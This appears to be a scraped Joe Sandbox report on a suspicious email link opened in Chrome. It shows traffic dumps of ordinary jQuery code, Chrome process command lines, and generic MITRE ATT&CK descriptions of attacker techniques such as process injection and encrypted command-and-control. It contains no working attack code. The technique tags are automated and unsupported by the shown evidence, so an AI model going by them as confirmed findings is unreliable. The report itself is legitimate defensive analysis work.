20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Target ID:	0
Start time:	22:14:27
Start date:	13/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	22:14:29
Start date:	13/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2248,i,14129833127138606073,14990406527809725278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	22:14:32
Start date:	13/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior